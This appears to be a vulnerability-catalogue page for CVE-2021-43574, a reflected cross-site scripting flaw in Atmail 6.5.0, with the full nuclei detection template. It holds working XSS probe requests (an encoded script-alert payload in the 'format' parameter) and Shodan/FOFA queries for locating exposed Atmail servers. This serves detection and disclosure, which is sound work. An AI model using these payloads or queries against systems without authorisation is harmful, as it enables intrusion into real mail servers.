Browse / CVEs / CVE-2021-43574
CVE-2021-43574· atmail / atmail· CWE-79
Atmail 6.5.0 - Cross-Site Scripting
Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest security patches or updates provided by Atmail to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>\" does not exist" AND contains in header "text/html" AND status 500 or 403Run it with nuclei: nuclei -id CVE-2021-43574 -u <target>
The full check
id: CVE-2021-43574
info:
name: Atmail 6.5.0 - Cross-Site Scripting
author: arafatansari,ritikchaddha
severity: medium
description: |
Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or updates provided by Atmail to fix the XSS vulnerability.
reference:
- https://medium.com/@bhattronit96/cve-2021-43574-696041dcab9e
- https://help.atmail.com/hc/en-us/sections/115003283988
- https://nvd.nist.gov/vuln/detail/CVE-2021-43574
- https://medium.com/%40bhattronit96/cve-2021-43574-696041dcab9e
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-43574
cwe-id: CWE-79
epss-score: 0.02461
epss-percentile: 0.84582
cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: atmail
product: atmail
shodan-query:
- http.html:"Powered by Atmail"
- http.html:"powered by atmail"
- http.html:"atmail"
fofa-query:
- body="powered by atmail"
- body="atmail"
tags: cve2021,cve,atmail,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>" does not exist'
- type: word
part: header
words:
- text/html
- type: status
status:
- 500
- 403
condition: orReferences
- https://medium.com/@bhattronit96/cve-2021-43574-696041dcab9e
- https://help.atmail.com/hc/en-us/sections/115003283988
- https://nvd.nist.gov/vuln/detail/CVE-2021-43574
- https://medium.com/%40bhattronit96/cve-2021-43574-696041dcab9e
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from